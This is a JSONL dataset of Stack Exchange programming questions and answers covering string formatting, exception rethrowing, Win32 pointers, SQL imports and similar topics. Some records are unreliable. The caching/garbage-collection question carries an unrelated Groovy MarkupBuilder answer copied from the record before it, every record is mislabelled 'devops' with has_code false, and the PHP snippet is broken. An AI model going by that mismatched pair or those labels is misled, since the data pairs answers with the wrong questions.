{"id": "hf_db788d2ed97e", "question": "<p>I need to find out how to format numbers as strings. My code is here:</p>\n\n<pre><code>return str(hours)+\":\"+str(minutes)+\":\"+str(seconds)+\" \"+ampm\n</code></pre>\n\n<p>Hours and minutes are integers, and seconds is a float.  the str() function will convert all of these numbers to the tenths (0.1) place.  So instead of my string outputting \"5:30:59.07 pm\", it would display something like \"5.0:30.0:59.1 pm\".</p>\n\n<p>Bottom line, what library / function do I need to do this for me?</p>\n", "question_body": "", "answer": "Starting with Python 3.6, formatting in Python can be done using\nformatted string literals\nor\nf-strings\n:\n```\n```\nhours, minutes, seconds = 6, 56, 33\nf'{hours:02}:{minutes:02}:{seconds:02} {\"pm\" if hours > 12 else \"am\"}'\n```\n```\nor the\n```\nstr.format\n```\nfunction starting with 2.7:\n```\n```\n\"{:02}:{:02}:{:02} {}\".format(hours, minutes, seconds, \"pm\" if hours > 12 else \"am\")\n```\n```\nor the\nstring formatting\n```\n%\n```\noperator\nfor even older versions of Python, but see the note in the docs:\n```\n```\n\"%02d:%02d:%02d\" % (hours, minutes, seconds)\n```\n```\nAnd for your specific case of formatting time, there’s\n```\ntime.strftime\n```\n:\n```\n```\nimport time\n\nt = (0, 0, 0, hours, minutes, seconds, 0, 0, 0)\ntime.strftime('%I:%M:%S %p', t)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.444758"}
{"id": "hf_6e34e9e5b55e", "question": "<p>What are the best practices to consider when catching exceptions and re-throwing them? I want to make sure that the <code>Exception</code> object's <code>InnerException</code> and stack trace are preserved. Is there a difference between the following code blocks in the way they handle this?</p>\n\n<pre><code>try\n{\n    //some code\n}\ncatch (Exception ex)\n{\n    throw ex;\n}\n</code></pre>\n\n<p>Vs:</p>\n\n<pre><code>try\n{\n    //some code\n}\ncatch\n{\n    throw;\n}\n</code></pre>\n", "question_body": "", "answer": "The way to preserve the stack trace is through the use of the\n```\nthrow;\n```\nThis is valid as well\n```\n```\ntry {\n  // something that bombs here\n} catch (Exception ex)\n{\n    throw;\n}\n```\n```\n```\nthrow ex;\n```\nis basically like throwing an exception from that point, so the stack trace would only go to where you are issuing the\n```\nthrow ex;\n```\nstatement.\nMike\nis also correct, assuming the exception allows you to pass an exception (which is recommended).\nKarl Seguin\nhas a\ngreat write up on exception handling\nin his\nfoundations of programming e-book\nas well, which is a great read.\nEdit: Working link to\nFoundations of Programming\npdf. Just search the text for \"exception\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.473842"}
{"id": "hf_edca8d4d743d", "question": "<p>From a desktop application developer point of view, is there any difference between developing for Windows XP and developing for Windows Vista?</p>\n", "question_body": "", "answer": "Do not\never\nassume your user has access to certain key areas of the disc (i.e. program files, windows directory etc). Instead the default user account will only be able to write to a small section of their application data. Also, they won't be able to write to global areas of the registry - only the current user section.\nYou can of course elevate their privileges, but that in itself is a task.\nGenerally programming for Vista is the same as XP, it's just the new account restrictions you have to be wary of.\nHave a look at this page with regards to making your application \"UAC aware\"\nhttp://www.codeproject.com/KB/vista-security/MakingAppsUACAware.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.503863"}
{"id": "hf_2009b62d9824", "question": "<p>I have a small utility that I use to download an MP3 file from a website on a schedule and then builds/updates a podcast XML file which I've added to iTunes.</p>\n\n<p>The text processing that creates/updates the XML file is written in Python. However, I use wget inside a Windows <code>.bat</code> file to download the actual MP3 file. I would prefer to have the entire utility written in Python.</p>\n\n<p>I struggled to find a way to actually download the file in Python, thus why I resorted to using <code>wget</code>.</p>\n\n<p>So, how do I download the file using Python?</p>\n", "question_body": "", "answer": "Use\n```\nurllib.request.urlopen()\n```\n:\n```\n```\nimport urllib.request\nwith urllib.request.urlopen('http://www.example.com/') as f:\n    html = f.read().decode('utf-8')\n```\n```\nThis is the most basic way to use the library, minus any error handling. You can also do more complex stuff such as changing headers.\nOn Python 2, the method is in\n```\nurllib2\n```\n:\n```\n```\nimport urllib2\nresponse = urllib2.urlopen('http://www.example.com/')\nhtml = response.read()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.527016"}
{"id": "hf_cc1161c0d4dd", "question": "<p>How would you determine the column name (e.g. \"AQ\" or \"BH\") of the nth column in Excel?</p>\n\n<p>Edit: A language-agnostic algorithm to determine this is the main goal here.</p>\n", "question_body": "", "answer": "I once wrote this function to perform that exact task:\n```\n```\npublic static string Column(int column)\n{\n    column--;\n    if (column >= 0 && column < 26)\n        return ((char)('A' + column)).ToString();\n    else if (column > 25)\n        return Column(column / 26) + Column(column % 26 + 1);\n    else\n        throw new Exception(\"Invalid Column #\" + (column + 1).ToString());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.605978"}
{"id": "hf_52ef48282265", "question": "<p>I have a listening port on my server that I'm connecting to using a Java class and the <code>Socket</code> interface, i.e.</p>\n\n<pre><code>Socket mySocket = new Socket(host,port);\n</code></pre>\n\n<p>I then grab an <code>OutputStream</code>, decorate with a <code>PrintWriter</code> in autoflush mode and I'm laughing - except if the listening port closes. Then I get </p>\n\n<pre><code>tcp4       0      0  *.9999                 *.*                    LISTEN\ntcp        0      0  127.0.0.1.45737        127.0.0.1.9999         CLOSE_WAIT\n</code></pre>\n\n<p>and I can't seem to detect the problem in the program - I've tried using the <code>isConnected()</code> method on the socket but it doesn't seem to know that the connection is closed.</p>\n\n<p>I want to be aware of the problem the next time I try and write to the Socket so that I can try and reconnect and report the issue.</p>\n\n<p>Any advice please?</p>\n\n<p>Thanks all</p>\n", "question_body": "", "answer": "Set a short timeout?\nDoes\n```\nisOutputShutdown()\n```\nnot get you what you want?\nYou could always build a\n```\nSocketWatcher\n```\nclass that spins up in its own\n```\nThread\n```\nand repeatedly tries to write empty strings to the\n```\nSocket\n```\nuntil that raises a\n```\nSocketClosedException\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.628828"}
{"id": "hf_b56eefbdc051", "question": "<p>Has anyone got a working solution without some Java/COM-bridge? E.g. process the Email as a file (.msg) rather than locating the data that is referenced in the Clipboard?</p>\n", "question_body": "", "answer": "I did make some headway on this sort of thing a few years back using\nApache POI\nto extract the contents of an email from .msg files.  I'm pretty sure they have a simple swing explorer / viewer that you can use to examine the structure within the compound document format, but I can't find it right now.\nI was able to extract most information that I was interested in but was ultimately wanting to create a mime format version of the message and couldn't extract all the information I needed in a format I could use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.697454"}
{"id": "hf_1528ecb95e0f", "question": "<p>Wondering if there is a better why in  the WHERE clause of choosing records when you need to look at effective start and end dates?</p>\n\n<p>Currently this how I've done it in the past on MS SQL Server. Just worried about the date and not the time. I'm using SQL Server 2005.</p>\n\n<pre><code>AND Convert(datetime, Convert(char(10), ep.EffectiveStartDate, 101))\n   &lt;= Convert(datetime, Convert(char(10), GetDate(), 101))\nAND Convert(datetime, Convert(char(10), ep.EffectiveEndDate, 101))\n   &gt;= Convert(datetime, Convert(char(10), GetDate(), 101))\n</code></pre>\n", "question_body": "", "answer": "try\n```\n```\nep.EffectiveStartDate BETWEEN @date1 AND @date2\n```\n```\nwhere you would do something like\n```\n```\ndeclare @date1 datetime, @date2 datetime;  \nset @date1 = cast('10/1/2000' as datetime)  \nset @date2 = cast('10/1/2020' as datetime)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.732910"}
{"id": "hf_ae01b6f1ac43", "question": "<p>In Perl, what is a good way to perform a replacement on a string using a regular expression and store the value in a different variable, without changing the original?</p>\n\n<p>I usually just copy the string to a new variable then bind it to the <code>s///</code> regex that does the replacement on the new string, but I was wondering if there is a better way to do this?</p>\n\n<pre><code>$newstring = $oldstring;\n$newstring =~ s/foo/bar/g;\n</code></pre>\n", "question_body": "", "answer": "This is the idiom I've always used to get a modified copy of a string without changing the original:\n```\n```\n(my $newstring = $oldstring) =~ s/foo/bar/g;\n```\n```\nIn perl 5.14.0 or later, you can use the new\n```\n/r\n```\nnon-destructive substitution modifier\n:\n```\n```\nmy $newstring = $oldstring =~ s/foo/bar/gr;\n```\n```\nNOTE:\nThe above solutions work without\n```\ng\n```\ntoo. They also work with any other modifiers.\nSEE ALSO:\n```\nperldoc perlrequick\n```\n: Perl regular expressions quick start", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.792789"}
{"id": "hf_fa63298bda0a", "question": "<p>I want to show HTML content inside Flash. Is there some way to do this?\nI am talking about full blown HTML (with JavaScript if possible).</p>\n", "question_body": "", "answer": "How complex HTML are we talking about? Simple HTML, like <b> and <i> is supported in text fields if you use the\n```\nhtmlText\n```\nproperty. You can also attach a CSS style sheet to the text field for more styling. Have a look at TextField in the Flash API documentation (I'm sure you can just google it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.880014"}
{"id": "hf_59c3b95de3ea", "question": "<p>Does anyone have a technique for generating SQL table create (and data insert) commands pragmatically from a CSV (or sheet in a .xls) file?  </p>\n\n<p>I've got a third party database system which I'd like to populate with data from a csv file (or sheet in a xls file) but the importer supplied can't create the table structure automatically as it does the import. My csv file has lots of tables with lots of columns so I'd like to automate the table creation process as well as the data importing if possible but I'm unsure about how to go about generating the create statement...</p>\n", "question_body": "", "answer": "In SQL server it is as easy as\n```\n```\nSELECT * INTO NewTablenNmeHere\nFROM OPENROWSET( 'Microsoft.Jet.OLEDB.4.0', \n'Excel 8.0;Database=C:\\testing.xls','SELECT * FROM [Sheet1$]')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.904220"}
{"id": "hf_7c949ce33b03", "question": "<p>I've got a JavaScript \"object\", built this way:</p>\n\n<pre><code>function foo()\n{\n    this.length = 0;\n}\n\nfoo.prototype.getLength = function()\n{\n    return this.length;\n}\n\n...\n</code></pre>\n\n<p>I know how to emulate namespaces with singleton JavaScript objects, but what is the best way to \"namepace\" an object such as that above that will intanced? </p>\n\n<p>I know that several JavaScript libraries have namepacing capabilities, but I'm using jQuery and would rather not add another library to the mix. I'd like to be able to provide my own, perhaps by exploiting jQuery, intrinsic namespacing scheme for the JS objects of mine that need to be instanced. </p>\n\n<p>Thanks\nrp</p>\n", "question_body": "", "answer": "Shouldn't be much different:\n```\n```\nnamespace.foo = function foo() {...}\nnamespace.foo.prototype.getLength = function() { ... }\n```\n```\nor you could use\n```\n```\n(function() {\n  function foo() { ... }\n  foo.prototype...\n  namespace.foo = foo;\n})();\n```\n```\nto save some typing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:57.926877"}
{"id": "hf_8c54b9cf2209", "question": "<p>I'm creating an application that will store a hierarchical collection of items in an XML file and I'm wondering about the industry standard for storing collections in XML. Which of the following two formats is preferred? (If there is another option I'm not seeing, please advise.)</p>\n\n<p><strong>Option A</strong></p>\n\n<pre><code>&lt;School&gt;\n    &lt;Student Name=\"Jack\" /&gt;\n    &lt;Student Name=\"Jill\" /&gt;\n    &lt;Class Name=\"English 101\" /&gt;\n    &lt;Class Name=\"Math 101\" /&gt;\n&lt;/School&gt;\n</code></pre>\n\n<p><strong>Option B</strong></p>\n\n<pre><code>&lt;School&gt;\n    &lt;Students&gt;\n        &lt;Student Name=\"Jack\" /&gt;\n        &lt;Student Name=\"Jill\" /&gt;\n    &lt;/Students&gt;\n    &lt;Classes&gt;\n        &lt;Class Name=\"English 101\" /&gt;\n        &lt;Class Name=\"Math 101\" /&gt;\n    &lt;/Classes&gt;\n&lt;/School&gt;\n</code></pre>\n", "question_body": "", "answer": "I'm no XML expert, but I find Option B to be more human readable, and I think it's just as machine readable as Option A. I believe that XML is designed to be both human and machine readable, so I would go for Option B myself.\nI just realized something else after Ryan Farley's post. If the Students or Classes section becomes too big and must be moved to another XML file, it seems like it would be easier to copy the node and create a new XML file out of that node with Option B.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.027790"}
{"id": "hf_3c865ec890c8", "question": "<p>Did you ever have to choose between WISA or LAMP at the beginning of a web project?</p>\n\n<p>While pros and cons are littered around the net, it would be helpful to know about your real experience in coming up w/ criteria, evaluating, deciding, and reflecting upon your decision to go w/ either platform.</p>\n", "question_body": "", "answer": "@Thomas WISA is:\nW=Windows\nI=IIS\nS=SQL (Microsoft SQL Server)\nA=ASP (or ASP .NET)\nAs for choosing between them, I would think that the available resources and talent would be the deciding factor. If you can get great ASP .NET and MS SQL devs, go that route. If you've got a bunch of PHP/MySQL gurus on hand, go LAMP.\nThe reality is, regardless of the pros and cons of the platform, you'll struggle to get a great system on WISA out of a primarily PHP dev team, and vice versa.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.061314"}
{"id": "hf_94109660c2ec", "question": "<p>In the Windows applications I work on, we have a custom framework that sits directly above Win32 (don't ask).  When we create a window, our normal practice is to put <code>this</code> in the window's user data area via <code>SetWindowLong(hwnd, GWL_USERDATA, this)</code>, which allows us to have an MFC-like callback or a tightly integrated <code>WndProc</code>, depending.  The problem is that this will not work on 64-bit Windows, since LONG is only 32-bits wide.  What's a better solution to this problem that works on both 32- and 64-bit systems?</p>\n", "question_body": "", "answer": "SetWindowLongPtr\nwas created to replace\nSetWindowLong\nin these instances.  It's LONG_PTR parameter allows you to store a pointer for 32-bit or 64-bit compilations.\n```\n```\nLONG_PTR SetWindowLongPtr(      \n    HWND hWnd,\n    int nIndex,\n    LONG_PTR dwNewLong\n);\n```\n```\nRemember that the constants have changed too, so usage now looks like:\n```\n```\nSetWindowLongPtr(hWnd, GWLP_USERDATA, this);\n```\n```\nAlso don't forget that now to retrieve the pointer, you must use\nGetWindowLongPtr\n:\n```\n```\nLONG_PTR GetWindowLongPtr(      \n    HWND hWnd,\n    int nIndex\n);\n```\n```\nAnd usage would look like (again, with changed constants):\n```\n```\nLONG_PTR lpUserData = GetWindowLongPtr(hWnd, GWLP_USERDATA);\nMyObject* pMyObject = (MyObject*)lpUserData;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.083838"}
{"id": "hf_3085944a235a", "question": "<p>What's the best way to handle a user going back to a page that had cached items in an asp.net app?  Is there a good way to capture the back button (event?) and handle the cache that way?</p>\n", "question_body": "", "answer": "The best way to deal with it is to probably put a no-cache directive in your ASP.NET pages (or a master page if you're using one). I don't think there's a way to deal with this directly in your ASP.NET code (since the cache decision is happening on the client).\nAs for MVC, don't know how you would accomplish that (assuming it's different from Web Forms-based ASP.NET); I haven't used it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.117328"}
{"id": "hf_5a2a46f3a4bc", "question": "<p>I'm pretty green still when it comes to web programming, I've spent most of my time on client applications.  So I'm curious about the common exploits I should fear/test for in my site.</p>\n", "question_body": "", "answer": "These three are the most important:\nCross Site Request Forgery\nCross Site Scripting\nSQL injection", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.140349"}
{"id": "hf_e2d27d9ab369", "question": "<p>What is the best method to parse multiple, discrete, custom XML documents with Java?</p>\n", "question_body": "", "answer": "You will want to use\n```\norg.xml.sax.XMLReader\n```\n(\nhttp://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.162233"}
{"id": "hf_f52d2007efec", "question": "<p>As the title mentions, I have a timeout callback handler on an ajax call, and I want to be able to test that condition but nothing is coming to mind immediately on ways I can force my application to hit that state, any suggestions?</p>\n", "question_body": "", "answer": "You could always run a server-side script that keeps running for a period of time. \nFor example:\n```\n```\n<?php\n   sleep(10); //sleep for 10 seconds.\n   print \"This script has finished.\";\n>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.185806"}
{"id": "hf_b42f9c5da9e5", "question": "<p>When using Groovy <code>MarkupBuilder</code>, I have places where I need to output text into the document, or call a function which outputs text into the document. Currently, I'm using the undefined tag <em>\"text\"</em> to do the output.  Is there a better way to write this code?</p>\n\n<pre><code>li {\n  text(\"${type.getAlias()} blah blah \")\n  function1(type.getXYZ())\n  if (type instanceof Class1) {\n    text(\" implements \")\n    ft.getList().each { \n      if (it == '') return\n      text(it) \n      if (!function2(type, it)) text(\", \")\n    }\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "Include a method:\n```\n```\nvoid text(n){\n    builder.yield n\n}\n```\n```\nMost likely you (I) copied this code from somewhere that had a text method, but you didn't also copy the text method.  Since MarkupBuilder accepts any name for the name of a tag and browsers ignore unknown markup, it just happened to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.224487"}
{"id": "hf_0e7a56526026", "question": "<p>This is mostly geared toward desktop application developers.  <br />How do I design a caching block which plays nicely with the GC?  <br />How do I tell the GC that I have just done a cache sweep and it is time to do a GC?  <br />How do I get an accurate measure of when it is time to do a cache sweep?</p>\n\n<p>Are there any prebuilt caching schemes which I could borrow some ideas from?</p>\n", "question_body": "", "answer": "Include a method:\n```\n```\nvoid text(n){\n    builder.yield n\n}\n```\n```\nMost likely you (I) copied this code from somewhere that had a text method, but you didn't also copy the text method.  Since MarkupBuilder accepts any name for the name of a tag and browsers ignore unknown markup, it just happened to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.248260"}
{"id": "hf_ac1dda42d5d8", "question": "<p>Is there a .NET variable that returns the \"All Users\" directory?</p>\n", "question_body": "", "answer": "You'll want to use the\n```\nsystem.environment\n```\nvariables.\nMost of the predefined ones are\nshown here\n.\nFor the \"\nAll Users\n\" you would use:\n```\n```\nSystem.Environment.GetEnvironmentVariable(\"ALLUSERSPROFILE\")\n```\n```\nI know I got a lot of upmods and a correct answer for my other stuff, but this actually works. where as the other\nenvironment variables\nI linked to previously don't seem to work with that function call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.283836"}
{"id": "hf_f282db6f486f", "question": "<p>I've been making a concerted effort to improve my javascript skills lately by reading as much javascript code as I can. In doing this I've sometimes seen the <code>javascript:</code> prefix appended to the front of event handler attributes in HTML element tags. What's the purpose of this prefix? Basically, is there any appreciable difference between:</p>\n\n<pre><code>onchange=\"javascript: myFunction(this)\"\n</code></pre>\n\n<p>and</p>\n\n<pre><code>onchange=\"myFunction(this)\"\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "Probably nothing in your example. My understanding is that\n```\njavascript:\n```\nis for anchor tags (in place of an actual\n```\nhref\n```\n). You'd use it so that your script can execute when the user clicks the link, but without initiating a navigation back to the page (which a blank\n```\nhref\n```\ncoupled with an\n```\nonclick\n```\nwill do).\nFor example:\n```\n```\n<a href=\"javascript:someFunction();\">Blah</a>\n```\n```\nRather than:\n```\n```\n<a href=\"\" onclick=\"someFunction();\">Blah</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.407715"}
{"id": "hf_e2e5a0972a6f", "question": "<p>Where can I get some decent looking free ASP.Net or CSS themes?</p>\n", "question_body": "", "answer": "I wouldn't bother looking for ASP.NET stuff specifically (probably won't find any anyways). Finding a good CSS theme easily can be used in ASP.NET.\nHere's some sites that I love for CSS goodness:\nhttp://www.freecsstemplates.org/\nhttp://www.oswd.org/\nhttp://www.openwebdesign.org/\nhttp://www.styleshout.com/\nhttp://www.freelayouts.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.489788"}
{"id": "hf_e2b670dd574d", "question": "<p>Anything thats as good and as stable and as feature-rich as gigaspaces?</p>\n", "question_body": "", "answer": "Gigaspaces is top notch as far as a Javaspaces implementation goes for scalability and performance. Are you restricted to a Javaspaces implementation? Blitz Javaspaces is top notch for a free product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.624568"}
{"id": "hf_346a87976d05", "question": "<p>Have just started using Visual Studio Professional's built-in unit testing features, which as I understand, uses MS Test to run the tests.</p>\n\n<p>The .trx file that the tests produce is xml, but was wondering if there was an easy way to convert this file into a more \"manager-friendly\" format?</p>\n\n<p>My ultimate goal is to be able to automate the unit-testing and be able to produce a nice looking document that shows the tests run and how 100% of them passed  :)</p>\n", "question_body": "", "answer": "Since this file is XML you could and should use xsl to transform it to another format. The\nIAmUnkown\n- blog has an entry about\ndecoding/transforming the trx file into html\n.\nYou can also use\n.NetSpecExporter from Bekk\nto create nice reports. Their product also uses XSL, so you could probably\nsteal\nit from the downloaded file and apply it with whatever xsl-application you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.670066"}
{"id": "hf_2a8e6a74b0f3", "question": "<p>Has anyone worked with <a href=\"http://www.google.com.br/url?sa=t&amp;ct=res&amp;cd=1&amp;url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDomain-specific_programming_language&amp;ei=QyWvSIXcC4foebjSlHs&amp;usg=AFQjCNFsZOnJm-AGmi5sxai8YI-0Al6wfA&amp;sig2=6nX5EkUmNkEwiSKAkUeyZQ\" rel=\"noreferrer\">DSLs (Domain Specific Languages)</a> in the finance domain? I am planning to introduce some kind of DSL support in the application that I am working on and would like to share some ideas.</p>\n\n<p>I am in a stage of identifying which are the most stable domain elements and selecting the features which would be better implemented with the DSL. I have not yet defined the syntax for this first feature.</p>\n", "question_body": "", "answer": "Jay Fields and Obie Fernandez have written and talked extensively on the subject.\nJay Fields intro on\nDomain Specific Languages\nJay Fields' series on\nBusiness Natural Language\nObie Fernandez\nExpressing Contract Terms in a DSL\nA very good\npresentation\non infoQ by Jay Fields\nYou'll also find general stuff on implementing DSL in Martin Fowler's writings (but not specific to finance).\nDSL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.692469"}
{"id": "hf_6c7b26f36a8e", "question": "<p>Can anyone recommend some good resources that highlight the differences between Oracle and the AS/400 database?</p>\n\n<p>I am trying to help someone with a lot of AS/400 experience implement an Oracle installation, and they need some guidance.</p>\n\n<p>A book or online resource would be ideal.</p>\n", "question_body": "", "answer": "I've done this a fair few times and the solutions out there really depend on the environment (enterprise / mission critical or development).  The BEST way would be the\nOracle AS/400 Gateway\n.  Here are some important links in that area:\nAllow AS/400 apps to access oracle with the Oracle Access Manager:\nInstallation Guide for the AS/400 Oracle Access Manager\nAllow your Oracle apps to access AS/400 tables and be queried using Oracle:\nOracle Transparent Gateway for DB/2\n^^^Those products are fairly expensive but super powerful.^^^\nAlternately, here are some more academic approaches to the situation:\nHere's a technical comparison of the two technologies... It's a little propagandaish*.\nTechnical comparisons of Oracle and DB/2\nHere's a document written from the opposite point of view - Someone moving from Oracle to DB2.  I still find it's useful information:\nLeverage your Oracle 10g skills to learn DB2...\nAnd another IBM link that has some really great information all around:\nIBM Developer Network Search Results\nHope this helps!\n*Yes, I know propagandaish is not a real word.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.715787"}
{"id": "hf_64adf14275cd", "question": "<p>I'm working with Subversion based on Windows and would like to write an easy utility in .NET for working with the Apache password file.  I understand that it uses a function referred to as MD5Crypt, but I can't seem to find a description of the algorithm beyond that at some point it uses MD5 to create a hash.</p>\n\n<p>Can someone describe the MD5Crypt algorithm and password line format?</p>\n", "question_body": "", "answer": "You can find an implementation of md5crypt in the\ntcllib package.\nDownload is available from\nsourceforge\n.\nYou can also find an example of an apache-compatible md5crypt in the\nsource code for the CAS Generic Handler", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.755685"}
{"id": "hf_3ae29a1399a8", "question": "<p>And on top of that, are there cases where one has to use the global assembly cache or where one cannot use it?</p>\n", "question_body": "", "answer": "In all my life, I have had maybe one application where I had to put an assembly in the GAC, simply because these assemblies were part of a framework that a number of applications would use it, and it seemed right to put them into the GAC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.801948"}
